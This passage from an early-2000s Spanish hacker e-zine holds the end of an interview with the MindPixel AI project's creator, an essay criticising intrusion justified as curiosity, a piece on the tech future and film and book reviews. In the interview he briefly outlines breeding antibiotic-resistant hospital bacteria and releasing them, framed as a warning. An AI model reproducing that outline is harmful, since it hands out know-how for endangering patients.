cambiar nada. Pero ahora hemos comenzado a ver algo de television interactiva. Para el tiempo en que mi hijo tenga tu edad, el video sera completamente liquido, sera lo que quieras. Para entonces Blockbuster no sera mas que un website. Si miras futbol, podras elejir la camara, el angulo...controlar la perspectiva. *Hay dos puntos de vistas sobre el futuro de los medios de comunicacion, unos dicen que la television sera mas como la web, otros que la web sera mas como la television...* Ambos son verdad. *La palabra entonces es convergencia* Exactamente. Ambos medios vienen hacia la misma direccion. Que pasa entonces? tenemos el web, que necesita mucha interaccion, demasiada; mientras que en la television hay muy poca interaccion. Lo que se necesita es una television con interactividad opcional. Si quieres sentarte y simplemente ver lo podras, pero si quieres cambiar... tambien. *Es sobre opciones...* Exacto. Debe ser compatible con ambos estilos de vida. Tiene que ser compatible con ustedes que entienden la tecnologia, entienden todo. Si vieran una television interactiva aqui tendrian que hackearla, es un mandato, para asi entender como funciona, por que ustedes son la generacion que quiere entender. Mis amigos no son de esa generacion, ellos ni siquiera puede usar Hotmail, se perdien. Asi que, el sistema tiene que manejar ambos tipos de personas. Por que hay aquellos que son flojos, q no quiere saber ni aprender nada, solo quieren sentarse y cambiar constantemente de canal... dos tipos de persona, dos tipos de control. *Como retomaste tu proyecto de Inteligencia Artificial?* Bueno, me distrajo la television interactiva. Fue un error en el momento, la tecnologia no estaba lista, era muy pronto... *Ancho de Banda...* Esa es la respuesta. Incluso ahora, tengo internet por cable y aun no tengo suficiente ancho de banda para television interactiva, y es lo mejor que se puede tener... Entonces cuando la internet pueda hacer esto -golpeando la pantalla de la television- tener pantalla completa, con ancho de banda total, video en MPEG-4, MPEG-5, o lo que venga, la television morira como la conocemos, cambiara radicalmente. La respuesta es ancho de banda. Fue un mal momento, me costo mucho dinero... todo eso era muy caro, habia mucha gente involucrada... *Podria decirce que fuiste victima del "boom" de internet?* Me autoinflingia, por que hacia el "boom" tambien. *Crees que hay mucho de ese "boom" sobre internet hoy, con el movimiento .com, las acciones del NASDAQ por el cielo...* La realidad ha cambiado, ahora es dificil jugar con el mercado de acciones. Ya no se creen lo de los "boom". Desde el 95 al 99 todo lo que decias [sobre internet] la gente te lo creia y las acciones tomaban precios ridiculos. Ya no. Ahora es "show-me-the-money". En se momento yo lo hice por la tecnologia, pero las personas querian dinero. "Si quieres dinero tienes que esperar 10 aos", pero la gente no espera ese tiempo. Asi que tuve que terminar CR6. *retomando la inteligencia artificial* Si, el proyeco es MindPixel. El nombre lo invente mientras caminaba por la Clinica Antofagasta [Antofagasta, Chile]... pero antes de tener si quiera el nombre, cuando se me nego la oportunidad en la universidad le envie un email a Marvin Mintsky. El es el mas famoso investigador en Inteligencia Artificial del mundo, trabajo con Stanley Kubrick en 2001: Una Odisea Espacial. Le dije de mi idea, y me respondio: "es posible, pero necesitas un corpus enorme". Entonces me dije, ire por ello. Asi que pare lo de la internet, por q era lo incorrecto. Pese a esto en mi pais golpeaban a mi puerta a cada rato gente que queria q trabajara para ellos en Silicon Valley. Pero yo queria trabajar en lo que es ahora MindPixel. Asi que tuve q parar y ponerme a escribir un libro para explicar como trabajan las redes neurales trabajan y la ciencia detras del proceso. Debia hacer tambien una base de datos que trabajara en la web. Vine a Chile a trabajar en mi libro y me invitaron a la H2K en New York diciendome "Ven y habla acerca de esto, nos parece cool". En ese entonces MindPixel era solo un dominio, y debia ir a New York con algo funcional. Tenia muchos visitas pero ningun sistema, asi que en dos noches tuve que aprender Php y ver como hacer el sistema muy rapidamente. Y asi que lo programe en 2 noches aqui [en Chile]. Una vez en New York iba a dar la conferencia y el salon estaba repleto, como 600 personas querian oir lo que tenia que decir. En la muchedumbre escuche un "bla, bla, bla.. callate weon!" Cuando escuche "weon" me dije "Chileno?", entonces le pregunte al camarografo donde estaba el periodista y resulto ser Cristobal Valenzuela [periodista de TVN], un estudiante de ingles mio en Santiago (...lo primero que hice al llegar a Chile como cualquier gringo fue ensear ingles para asi conocer gente). El no sabia que a quien iba a cubrir era yo, fue una coincidencia masiva. Asi es como me conocieron, de otra forma nadie sabria que estoy en Chile. Luego de esto obtuve covertura en muchos medios como BBC, Computer Magazine en Frances, BritishScience, CNN, TIME en aleman... Luego Marvin Mintsky, en el MIT, decidio repentinamente despues de todos estos aos que harian lo mismo que yo; comenzaron un proyecto llamado OpenMind. Me altero mucho. Pues era mi idea y ahora querian robarla. Asi que tuvimos... *Una pelea?* una "discusion seria" diria yo.. jaja. Decidimos mantener una base de datos comun en un mismo servidor, pero por dos frentes distintos. Una vez que hicimos eso, la revista TIME escribio un articulo sobre la union de MindPixel y OpenMind. *Cuanta gente trabaja contigo en MindPixel?* 21.000 personas en la internet y nadie mas. Es un proyecto personal. Habra una segunda persona involucrada, un psicologo muy famoso y mas viejo que yo. El trabaja con emociones y tiene un sistema para cuantificar las emociones en un sistema tridimensional. Asi que cualquier emocion puede ser especificada en tres coordenadas: placer, dominacion, exaltacion. Actualmente MindPixel solo toma verdadero o falso, buscando la verdad de una idea en particular. Luego agregaremos los otros 3 ejes. Asi tomaremos una muestra binaria ademas de las emociones relacionadas, y junto con tomografias confeccionamos un modelo hiperdimensional de la conciencia humana. Asi cuando tengamos suficiente gente, alrededor de unos dos millones, el numero de personas q colaboran en Seti@Home, podremos confeccionar un modelo promedio de todo lo que es verdadero y de las emociones que te hace sentir, [entonces] tendremos millones de muestras, y con eso armamermos un modelo con el que podamos predecir cosas que no estan en el modelo [original]. *Entonces, cuando termina la recoleccion de datos y comienza la creacion de nuevos pensamientos? Tu eres psicologo, creo que pudes explicarnos si la creacion de pensamientos originales es lo que define la inteligencia.* Ese es el segundo paso en inteligencia. El primer paso involucra la inteligencia minima, es decir un sistema desconocido para mi, pero que al hacerle cualquier pregunta me de una respuesta en binario. Si no puedo distingirlo de un ser humano entonces es puedo decir q es inteligente, lo sabe todo acerca de la realidad. Eso es inteligencia minima, con un bit me puede decir correctamente si sus experiencias son las mismas que las mias, y asi tendria inteligencia, experiencia y emociones humanas. En un bit seria la copia de un ser humano. No un ser humano particular o especifico, si no uno ser humano generico. Seria un ser humano pasivo, responderia si o no. La ventaja de la maquina es que trabaja por siempre y rapido. La idea es luego tomar un generador de oraciones al azar, un algoritmo, y enviarle esas frases a la "conciencia artificial". Por ser al azar casi todo el tiempo [la computadora] dira "Que?". Pero quizas en un billon de intentos respondera "Si" o "No". Descubrira algo independientemente del azar, entonces tomare eso de vuelta, sea lo que sea, y lo usare para cambiar el algortimo, los numeros del generador de ideas al azar, para hacer algo similar pero diferente. Lo proximo que descubrira sera similar al pensamiento original, pero distinto al mismo tiempo, tienes entonces pensamientos artificiales e independientes. Sera como una persona, no tendra ideas grandes como la que tengo ahora, si no pequeas ideas, seguidas de una idea similar, y otra y otra y asi para siempre. La meta es que eventualmente cada persona tendra una [computadora con IA] propia, controlando el campo de pensamientos, el generador al azar. Le diras, "piensa sobre cerveza, nada mas que cerveza", y no tendra opcion, por que toda su realidad esta subyugada al generador de numeros al azar, el determinara sus experiencias. Luego podras decirle "piensa sobre cerveza y cosas graciosas" por que tendra emociones, asi quizas haga bromas ... podria escribir un programa de tv como Los Simpsons ... jaja. Lo otro que puedes hacer es darle un microfono y con reconocimiento del habla decirle "piensa en lo que escuchas"; en ese punto la etica, todo se vuelve diferente, ya que ahora esta escuchando y tendra ideas sobre sus propias experiencias, y alli vienen los problemas: podre simplemente apagarlo? Podre hackearlo? Podre hacerle sentir malas experiencias? Es como un amigo cuya realidad controlas completamente... es literalmente ser dios. Si quiero vera el color que desee: "solo veras azul", o "tu pies duele", "te rompiste un brazo"... se puede ser muy cruel. Habran personas que le diran "te estas quemando, piensa en fuego, piensa en dolor!" o "piensa en sexo", o lo que sea. Es gente artificial. Ahora hackeas sistemas que son estupidos no hay inteligencia alguna en el, pero en 20 aos tendras sistemas que no podras distinguir de los seres humanos... *Podremos apagar esas maquinas?* No se que pasara. Es necesario que suceda para saber que pasara. Sospecho que si [podremos apagarla], por que la gente dira "no es real". Recuerdan cuando Deep Blue gano a Kasparov en ajedrez? Dijieron "ahh.. no diferente, no es un ser humano.. Que el mejor jugador de ajedrez del mundo sea una maquina...mm no importa, por que puedo apagarla". La gente al tener la oportunidad de apagarlo, lo apagaran. Lo mas interesante seria contruir una maquina como esta [con conciencia artificial] con camaras de video, microfono pero sin un interruptor de apagado... "Aqui esta, no hay boton de apagado, si quieres apagarla tendras que matarla". Sera como Blade Runner. Tendras maquinas que seran exactamente como personas... [no en el sentido fisico], seran probablemente como eso -apuntando a nuestra grabadora de voz-... sera tu amigo. *Como un muy avanzado tamagotchi* Claro, eso es la otra cosa... la razon por la que se esto es por que estoy trabajando en un proyecto comercial... -se va por un momento a buscar algo, y llegua con un Furby en caja-... Mindpixel en un Furby... probablemente en 5 aos sera un Furby muy diferente *En la revista WIRED se publico un articulo acerca del desarrollo de jueguetes inteligentes, algo muy similar a lo que nos hablas ahora* Wired me llama cada semana por que saben de este proyecto, pero aun es secreto. El procesador en el Furby es una calculadora, pero eso cambiara. *Volviendo a MindPixel, cuanto tiempo crees que demorara el proyecto para concluir?* Creo que en unos 10 aos las cosas se podran interesantes. *Y cual es la diferencia principal entre MindPixel y OpenMind? Las diferencia primaria es la forma en que el proyecto se ejecuta, es acerca de motivacion. Cuando entras informacion a MindPixel te convirties en parte dueo de la compaia... *acciones?* Si, mas trabajo, mas acciones. En cambio OpenMind es simplemente abierto, no hay acciones, no hay motivacion, nada. Los datos que entregas a OpenMind pueden ser utilizados por quien sea de la forma que quiera. Es posible que esos datos sean utilizados por IBM en un proyecto comercial para hacer dinero. Si hablas a MindPixel IBM no puede utilizar esos datos sin primero pagar a MindPixel, lo que significa pagarte a ti. Asi que hay una posibilidad de que en el futuro puedas obtener dinero por tu trabajo. Ahora, la mayor diferencia en el sistema mismo es que en OpenMind no requiere validacion, puedo decirle cualquier cosa y me creera. En MindPixel cuando entras algo pasas por un proceso de validacion en el que ves otras 20 [preguntas] y dices Si o No. Asi contruimos un modelo estadistico de las respuestas correctas. No puedes mentirlem, en cambio puedes decirle a OpenMind "los arboles estan hechos de arroz", y me creera... es de locos. La otra diferencia es quienes estan detras. En OpenMind, son estudiantes del MIT de segundo ao. Asi que tienen ideas muy diferentes acerca de lo que se puede hacer. Ni siquiera pueden pensar en una conciencia artificial, juguetes o productos, solo piensan en algo para su tesis. Yo no tengo que hacer una tesis asi que puedo pensar en grande, por ejemplo, pienso en toda la informacion que se perderia si la tierra fuera golpeada por un asteroide... quiero hacer un backup de la humanidad, por si acaso. O, quizas nunca viajemos a las estrellas y nos quedemos en la tierra, si eso sucede la raza humana perecera; necesitamos la maquina para grabar quienes eramos y enviarla... quizas nuestros cuerpos no puedan ir, pero si nuestras experiencias. Tendras una persona artificial que vivira por siempre e ira a las estrellas, puede ir muy lento pero al ser eterna que importa... en un billon de aos dira "ooh, recuerdo la Tierra". Esa es mi meta, hacer una persona que viva por siempre. *Hablando de la vida misma, que piensas sobre la clonacion, el genoma humano..? La biologia es ciencia de la computacion. La biologia es programacion. En verdad pienso mucho sobre eso. El genoma es simplemente otra cosa que hackear... *es codigo fuente...* Si, el mas importante codigo fuente... estamos recien comenzando a comprenderlo En la revista Science se publico un articulo sobre la mosca de la fruta. Encontraron un gen controlador maestro, como una llamada de subrutina, llamado "eyeless". Si quitas el gen en una mosca no tendran ojos, pero si lo tomas y lo pones devuelta al azar la mosca resulta con ojos en cualquier lado. Lo importante es que la secuencia, el codigo, es la misma para moscas, hombres, en todos los genomas los ojos son lo mismo. Creian que los ojos se desarrollaban independientemente, pero no, es el mismo software. Que 20 aos entenderemos, tal ves no como funciona la subrutina, pero sabremos como llamarla, sera como "call eye" o "include eye". Es aqui donde ustedes tienen la mejor oportunidad de cambiar el futuro. Si realmente estan interesados en las tecnologias de la informacion, esta [,la biotecnologia,] es la tecnologia de la informacion que deberian estar leyendo. Requiere una cosa de dos: ir a la universidad o tener una coneccion a internet. Eventualmente la internet sera lo mismo que la universidad, puedes aprender lo mismo. Ahora mismo si quieres comenzar a hacer experimentos en genetica en tu casa, con 20.000 dolares puedes hacer cosas interesantes. Es la misma cantidad de dinero que necesito Bill Gates para iniciar Microsoft. Entonces lo siguiente es construir secuencias de proteinas y todo ese material de laboratorio tan caro... esos instrumentos son caros por que solo las compaias sabe como hacerlos, pero no son complejos. Por ejemplo, una sistema de etiquetado laser para hacer secuenciado genetico: el laser cuesta mil dolares, el resto quizas otros mil dolares, pero lo venden en 50.000 dolares por el software q lo controla. Tu puedes hacer eso, es cosa de hacerle ingieneria reversa a una copia y puedes contruir el sistema no en 50.000 si no en 2.000 dolares, y luego puedes comenzar a hacer hacking realmente serio... *Es como hackear la vida misma, el hacking maximo* Exactamente. "Biohacking". Mi proximo libro. Pase mucho tiempo hablando de eso en New York para la PBS. Tu me preguntaste sobre los problemas que un hacer de computadoras puede ocacionar, ahora imaginate en biologia. Serios problemas! -va a buscar un libro- Este libro [Biohazard] fue escritor por el ex-director de armas biologicas de la Union Sovietica... *bastante escalofriante* Absolutamente aterrador, diria yo. Y esto nisiquiera es realmente hacking, es simplemente utilizar lo que esta en el ambiente. Podria ir ahora a la Clinica Antofagasta, a una sala de operaciones y tomar con una cinta autoadesiva algunas bacterias, las llevo a casa, las coloco en un plato petri, compro antibioticos y lo pongo dentro en concentraciones muy bajas. Mato algunas, luego las dejo crecer, y repito eso ciclicamente. Eventualmente en un par de semanas tendre bacterias que los antibioticos no pueden matar. Luego las llevo de vuelta al hospital, resultado: muchas personas se enfermaran Es muy peligroso. Se pueden hacer cosas horriblemente terribles sin inteligencia alguna, sin hacking, solo copiando como los script-kids: no tiene idea de como escribir un virus, solo lo copian. Es una analogia perfecta. *Que esta leyendo actualmente?* Leo continuamente. Asi que paso por la aduana siempre buscando mis paquetes. El problema es que aqui en Antofagasta no tienen libreros, no hay en Falabella ni en Ripley, asi que amontono los libros en un closet. -lo acompaamos adentro, donde tiene sus libros- Aqui, por ejemplo "Low Cost Aproach to Polimer Chain Reaction", esto es como copiar ADN en paises pobres como Africa, Peru, cosas asi. Es el mejor manual sobre hacking ADN en este momento. Clasicos como el libro original sobre cibernetica... "Direct Democracy", sobre democracias donde la gente tiene voto y opinon directa como en MindPixel... Este, "Original Order", es un libro muy importante pero dificil de obtener. "Teaching Apes", este mono puede aprender el lenguaje humano, si puedo ensearle a un simio a ser inteligente puedes ensearle a una computadora... "Engine of the Mind: The evolution of computers from Mainframes to Microprocesor", "History of Modern Computing"... "Alan Turing: The Enigma", la biografia del inventor de las computadoras, un libro muy detallado sobre las fundacion absolutas en que se basan las tecnologias de la informacion. *Cual es tu libro favorito, tu biblia.. aquel libro que se debe leer* Hay un par... pero si debo tomar uno quizas seria "The Simbolic Species: The co-evolution of Lenguage and Brain"... *que es eso de alli?* -pregunto sobre una placa enmarcada en un cuadro que cuelga en la pared- Eso? es una de las 700 tarjetas que componian la primera Cray 1 S/1000 *la primera supercomputadora que se construyo... es historica* Si, se utilizaba para simular bombas nucleares. *Cual ha sido tu impresion de los chilenos?* No tengo mucha experiencia con chilenos, trabajo en ingles con muy pocos chilenos. No conozco a ningun chileno... Cuando estuve en Santiago tenia estudiantes, pero ahora que estoy aqui no. "Quien quiere aprender hacking?", es una habilidad muy especifica; ademas no sabia que ustedes estan aqui. *Peliculas favoritas?* Blade Runner y 2001: A Space Oddisey... -luego volvimos al living donde estuvimos un rato conversando informalmente sobre los primeros aos de la informatica, tiempos del que Chris fue participe y protagonista. Revisamos unas revistas Micro80 antiquisimas, y leemos codigo en basic y Chris recuerda los viejos tiempos de modems acusticos -en los que se debia colocar fisicamente el auricular acomplado a un parlante y mic- Vemos tambien una revista BYTE en su primer numero, una pieza de historia y coleccion que actualmente cuesta unos miles de dolares... *Que piensas del software moderno?* Es igual que la historia humana, tiene mucha historia y codigo viejo que es mal. El mayor problema con Microsoft es que deben mantenerse compatibles... *el problema del legacy [legado]* Eso es. Arrastrar codigo legado. Me gusta que de ves en cuando alguien vaya a un sistema completamente virgen: un compilador de C y listo, de alli partir. *Pareciese que es el legado es el mayor problema de la industria y la innovacion* Si, pero hay una solucion, esta es tener todo a traves de una interfaz web, pues la web mejorara, entonces el backend no importara y podra ser cambiado a cada momento, eliminandose el legado. *Es la tesis de que Microsoft arremetio contra Netscape y Sun por que vio su predominio en Sistemas Operativos en un potencial riesgo ante la posibilidad de que la web se transformara en el protagonista del software* Si. La propuesta de Sun fue que el software se convertira en un servicio. *Ahora Microsoft lo esta haciendo con la iniciativa Microsoft .NET* Exactamente, en ese entonces fue, denuevo, demasiado temprano. Mi compaia en ese entonces penso en eso. Vi que habrian computadoras sin disco duro, y las aplicaciones serian entregadas a traves de tu browser. *Como los Network Computers de Oracle y las JavaStation de Sun* Si, eran Sun y Oracle en ese tiempo. Nosotros ibamos a trabajar con Corel desarollando software para esos dispostivos. Sun nos envio un prototipo en 1997 lo prendimos y era solo web, no podiamos hacer nada. Ni siquiera un editor de texto. Asi que el primer programa que escribimos fue un editor de texto para poder asi hacer paginas en HTML. Luego hubieron una seria de problemas que nos volvio locos, asi que dije, "esperemos, aun no es el tiempo". En CR6, la teleserie, escribimos software muy grande para nuestras herramientas y frameworks, hicimos grandes librerias para Java. Muchas funciones que Java no tenia ya hora se utilizan estan basadas en nuestras librerias. Asi que aun cuando el editor de texto o el software de CR6 nadie lo utiliza ya, deves en cuando al visitar librerias Java en internet me topo con codigo basando en nuestras librerias y trabajo. *Que piensas sobre GNU y otros esfuerzos de codigo abierto que tratan de rivalizar con el software comercial* Pienso que en el backend, el codigo abierto ya esta venciendo al software comercial. Solo los locos instalan Windows 2000 en un servidor. El codigo abierto es simplemente mejor codigo. *Si, en el backend, especialmente en servidores el codigo abierto esta ganando, pero cuando llegara al usuario particular? Microsoft parece tener las de ganar con su interfaz* Si, me parece infortunado. El HTML sigue siendo un estandar, y cada vez que veo a Microsoft tratando de cambiar Java o HTML me enfurezco, tu te enfureces, todos se enfurecen, pues es tipo de especificaciones no deberian ser comerciales. El software comercial debiera ser solo la idea de lo que un programa puede hacer, su funcionalidad, no la interfaz. Nadie deberia ser dueo del diseo de mi control remoto, pues no es importante. Puedes ser dueo de la programacion, de lo que veo, pero no mis botones, no puedes ser dueo de mi interfaz. Es distinto si haces algo realmente especial en el backend, como Oracle. Ellos tienen muy buenos sistemas de bases de datos, pero son caros. Asi que si quiero hacer un sistema realmente complejo no ocupare mysql o algun software abierto, por que ellas no pueden competir con Oracle. Ellison [ CEO de Oracle ] tiene software muy bueno, mucho mejor que el de Gates. *Gracias por todo, fue un placer conocerte y conversar contigo* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Quien es Quien >>>---------------------------------[ by ThEye ]------=> Este texto no habla sobre la tipica etica hacker ni nada.Esas cosas desde mi punto de vista son basura,por decirlo de alguna forma suave. Diferenciar entre hacker y cracker es bastante dificil,por decir INUTIL. Al usuario comun,a la gente de a pie,eso NO LE INTERESA.Al administrador, a la gente encargada de la seguridad TAMPOCO LE INTERESA.Para ellos todos son iguales,y les encuentro razon. Estamos acostumbrados a ver textos en donde nos dicen: "los hackers solo miran,no tienen ningun interes en el server".FALSO se~ores,si el hacker de turno esta mirando el server es porque algo lo mueve a hacerlo,y ese algo JAMAS es curiosidad,siempre el movil es mas fuerte que ese noble sentimiento. CURIOSIDAD,es la palabra clave.La curiosidad mato al gato dicen por ahi, y es cierto.Esas ganas casi insoportables por saber algo,cuyo nombre es CURIOSIDAD,han sido mal interpretadas desde tiempos remotos.Nada mas es recordar el famoso mito de Pandora y su caja.Por la CURIOSIDAD de esa mujer es que nuestro mundo esta como esta (segun el mito) y por lo tanto debemos considerar la curiosidad como algo malo,algo que arruina las cosas.Y eso es lo que las miles de generaciones de humanos han hecho:sentir curiosidad es malo te dicen,pero no olviden que la curiosidad es la que lleva a los investigadores a investigar (precisamente).Sin la curiosidad la humanidad no seria lo que es ahora (noten la diferencia entre decir "no seria lo que es ahora" con "nuestro mundo esta como esta"). Que habla este individuo? mas de alguno se preguntara.Bueno,quiero decir algunas cosas como por ej. que hay curiosidades y curiosidades. Por ej. : si una persona llega y revisa el cajon de tu pieza donde tienes guardadas tus cosas personales,que harias tu?. Tomarias medidas represivas sin duda.O bien,si alguien entrara a tu casa "solo por mirar",que sentirias? , te sentirias usurpado y facilmente podrias llamar a eso invasion, y la invasion es un delito,es algo reprobable. Es justificable entonces que los "hackers" digan: "nosotros solo entramos a los servers por curiosidad"? , desde mi punto de vista no justifica nada. No podemos proteger actitudes como esa.Realmente no le hacemos un favor al administrador al entrar a un server y dejar una nota diciendo: "loko sais q soy hacker y entre por aca.Pa cerrar ese hoyo hace esto y esto otro". Yo creo que le hacemos un favor no entrando donde nada nos incumbe. ES LOGICO O NO ES LOGICO ? ,es bastante logico. Entonces quienes son los hackers? No se. Se tratara talvez de individuos increiblemente inteligentes que programan todo el dia? No,para nada.Si se tratara de gente que se pasa todo el dia frente a un computador yo los llamaria,antes que hackers,anormales. Ese es el problema que surge hoy en dia.Nadie sabe que es quien. El ser humano tiene una tendencia a clasificar todo.Como sabemos,los pseudoseres del cyberespacio estan ya clasificados en varias categorias,y con esa clasificacion nace uno de los problemas que la humanidad ha arrastrado desde la antiguedad.Ese problema es la discriminacion. Me hace gracia ver aquellos manifiestos del cyberespacio que aun hoy surgen,siguiendo aquel famoso escrito por Mentor,en donde dicen que: "Nosotros los hackers vivimos en el cyberespacio protegiendolo de cualquier manifestacion de maldad de Uds. los que viven "ALLA AFUERA" ". Que chiste.No podemos separar entre vida conectado y vida desconectado. El computador es una herramienta,NO UN HABITAT.Mejor que aquellos que viven en el IRC o conectados por cualquier razon y se llaman hackers vayan al psicologo con urgencia.No saben el dao que se hacen. Volvamos a lo de la discrinacion.Lo que hacemos conectados puede ser,de alguna forma,reflejo de lo que hacemos en nuestra vida diaria.Si decimos ser unos hackers que luchan por la libertad de informacion y por un mundo sin barreras pero discriminamos a los "lamers" que preguntan cosas,estamos siendo nosotros mismo lamers dignos de discriminacion.Y es que el "cyberespacio" esta poblado de jovencitos que dicen saberlo todo en canales de IRC en donde discuten y pulen "tecnicas de hacking" y cosas asi.Otro chiste.Esa gente solo sigue una moda,pero no saben lo que hacen.Si fueran tal como se pintan es sus manifiestos,serian todos candidatos a beatos en el Vaticano. Hasta cuando este individuo critica a todos los que son felices conectados todo el dia? Ya termine creo yo.O tal vez no. Quizas el fin que perseguia al empezar a escribir este texto es el de expresar mi repudio por todos esos seres que se hacen llamar hackers,crackers, lamers o lo que sea.Considerense humanos (si es que lo son) y ya. No justifiquen sus acciones con el clasico "fue por curiosidad".Yo mas bien les recomendaria que ordenaran sus vidas y se dieran cuenta que dedicarle tanto tiempo a una maquina es malo. Por naturaleza el ser humano es sociable, si Uds. no lo son,hagan un esfuerzo por serlo. Algo queda claro entonces con este texto? Pues que los mas seguro es que los hackers no vivan en el cyberespacio. Es cierto se~ores.Los hackers segun creo yo son la gente que hace algo por el resto en cuanto a informatica. Son esos miles de programadores que escriben software libre y que solo lo hacen por gusto y para ayudar a la comunidad. En otras palabras,en palabras de los de "afuera": Son los buenos samaritanos. Quienes son entonces esas miles de personas que "poblan el cyberespacio": Simple,los fariseos. Ya que habla tanto,que se considera el autor de este texto? Como uds. pueden ver,en el indice de este numero de FYE, yo escribi un articulo sobre los DECServers. Obviamente yo no tengo un DECServer propio, irrumpi en uno que no es mio.Es de una institucion.Desde mi actual punto de vista,ese fue un acto reprobable,sin embargo lo hice.Eso se puede explicar ya que hoy 1/1/2001,fecha en que escribo este texto,mi forma de pensar respecto a eso que se llama "hacking" ha cambiado bastante en relacion a mayo del 2000 que es el tiempo aproximadamente en que escribi ese articulo.Y digo,mi forma de pensar respecto al hacking ha cambiado,por razones bastante fuertes. Es por eso que he delegado el cargo de editor de FYE a NDR113.Creo que el lo hara bastante bien mientras yo me encuentre alejado de este proyecto que ya tiene un a~o de vida.Quiero a la vez indicar que el estilo de la ezine cambiara y mucho.Ya no nos dedicaremos a hablar solo sobre temas "underground" ,simplemente porque el underground no existe. Aprendo mucho mas leyendo un manual completisimo escrito en una Universidad que leyendo una ezine cualquiera que sea. La mision del dia es salir del IRC. Atrevesanse a dejar el computador tan solo por un momento. Creo que ya ha quedado claro,que si quieres ser un hacker,debes saber muchas cosas,no solo pavonearte de ese saber. Pero importa la opinion de ThEye en cuanto a quienes son los hackers? Creo que no. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Hacia donde vamos? >>>---------------------------[ by NDR113 ]------=> Hacia donde va el desarrollo tecnologico? En estos momentos internet es el titular. Es internet el futuro? Depende de que es lo que entendamos por futuro. Obviamente internet tendra un papel preponderante en el desarollo futuro, mas no sera el personaje principal en la escena del siglo que recien comienza. Muchos se lanzaron con un dominio pegajoso y una web atractiva, pero sin un modelo economico o siquiera un estudio serio de mercado, resultado? Este ao el mercado de capitales vio una fuerte caida en el indice tecnologico del NASDAQ. Para los seguidores del movimiento .com esta baja fue una depresion momentanea mientras q para algunos analistas fue una estructuracion del mercado de acuerdo a las valorizaciones verdaderas. El asunto es que vivimos en el mismo capitalismo de siempre y las empresas q no rindan ganacias simplemente mueren. El caracter ciclico de la historia es inegable, y nos permite situarnos en el marco del presente para proyectarnos hacia el futuro. Esto nos lleva a retroceder en el tiempo a principios de siglo y ver como en la naciente industria automovilistica existian cientos de compaias, hoy, decenas. Aun cuando la naturaleza del mercado de internet es completamente distinta, el mecanimo economico sigue siendo el libre mercado, por lo tanto es de esperar una fuerte depresion en el numero de empresas que finalmente lograran enraizarce en la red. Perdera entonces nuestra red el caracter de zona libre que tenia en sus inicios? El comercio tomara las riendas de internet y su destino se subyugara a la oferta y demanda? Esperemos q el medio que nacio libre siga libre, y no frene su caracteristico dinamismo ante una burocracia industrial y mercantilista. Pasado el proceso de infancia que estamos viviendo, la red y su extension seran la base de gran parte de la vida de las proximas decadas. Pero internet no sera el protagonista que conocemos hoy; las webs no son el futuro, por el contrario son aun una forma muy primitiva de entregar informacion. El protagonista sera el flujo de datos obicuo, e internet sera simplemente el medio de transporte que nadie vera u oira. Perfilarse al futuro es por ejemplo mirar el trabajo q realizan en las areas de investigacion y desarrollo del Carnegie Mellon o el MIT, en cuyos departamenos de Ciencias de la Computacion simplemente no hay computadores visibles. Alli el informacion es la infrestructura y el hardware un protocolo. Mirar hacia adelante es entender que dentro del flujo de informacion no solo incluimos la entrega de noticias, entretencion o negocios, hablamos de nuestra propia vida, del cambio de costumbres comunicacionales, de la manera en que nos relacionamos en un mundo en que se debe ser local pensando de manera global. Hablamos de una red por la que no se envian bytes, si no mas bien experiencias. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Must See, Must Read >>>----------------------------[ by 350cc ]------=> - Blade Runner [See It!] "... and all those moments will be lost in time like... tears in the rain..." "... give me more life, father..." "... wake up, time to die!..." Este film de 1982, dirijido por Ridley Scott es uno de los mas grandes clasicos de la Ciencia Ficcion, y del cine en general, por su tematica visionaria, las desulmbrantes caracterizaciones y el meticuloso trabajo de ambientacion y fotografia, que convirtio a esta pelicula en una obra de arte visual. Se desarrolla en Los Angeles del siglo 21, en un mundo sobrepoblado en que la raza humana comienza a colonizar otros mundos con la ayuda de androides geneticamente diseados para resistir las adversidades de los mundos exteriores. El film se inicia con el motin y escape de un grupo de androides rebeldes, que buscan en la tierra a su creador para asi extender su periodo de vida. En el intertanto, Rick Deckard -interpretado por Harrison Ford- debe buscarlos y "retirarlos". En el desarrollo de esta historia encontramos un antiheroe, el agente Deckard, que perseguir a seres cuyo unica necesidad es vivir y que pese a ser superiores en intelecto y fuerza a sus creadores son considerados no mas que creaciones, nada mas que esclavos. Asi se desarolla una persecucion detectivesca en medio de una ambiente de decadente belleza y efectos especiales espectaculares, coronado por una fotografia simplemente magistral en la que cada sombra, fuente de luz, perspectiva y escenario son detalles completamente simbolicos y representativos que aportan al entendimiento de las situaciones en las que desenvuelve el film. En la trama nos vemos obligados a preguntarnos que es lo que nos hace humano, y en que recide el significado de aquello que llamamos alma. Tambien se nos enfrenta a el drama de Edipo, personificado en la raza humana y nuestras invenciones: seremos eliminados por nuestro propio ingenio? Las excelentes actuaciones son acompaadas por el brillante texto adaptado del libro "Do Androids Dream of Electric Sheeps" de Phillip K. Dick, que junto con una ambientacion estilo artdeco-noir y una genial banda sonora de Vangelis, hacen de este film un regocigo para los ojos, la mente y los oidos; explicando por si mismo por que se ha transformado en una obra de culto. Finalmente, si se deciden a ver Blade Runner noten que existen varias versiones disponibles, resultado de las continuas ediciones que se le dio al film a consecuencia de su comlejidad. La mas recomendable es la edicion hecha por el mismo director, conocida como "Director's Cut", la cual fue reelanzada a video en los 90. Ademas, si pueden veanla en VHS Widescreen -es decir, en la version no ajustada al formato de television- o en DVD. BLADE RUNNER Ao 1982 Formato VHS/DVD Direccion Ridle Scott Actuaciones de Harrison Ford Rutger Hauer Sean Yung Edward James Olmos Daryl Hannah - The Galaxies like grains of sand [Read It!] "El pasado es una sustancia solida y vidriosa; entonces lo llamamos historia. Entonces no 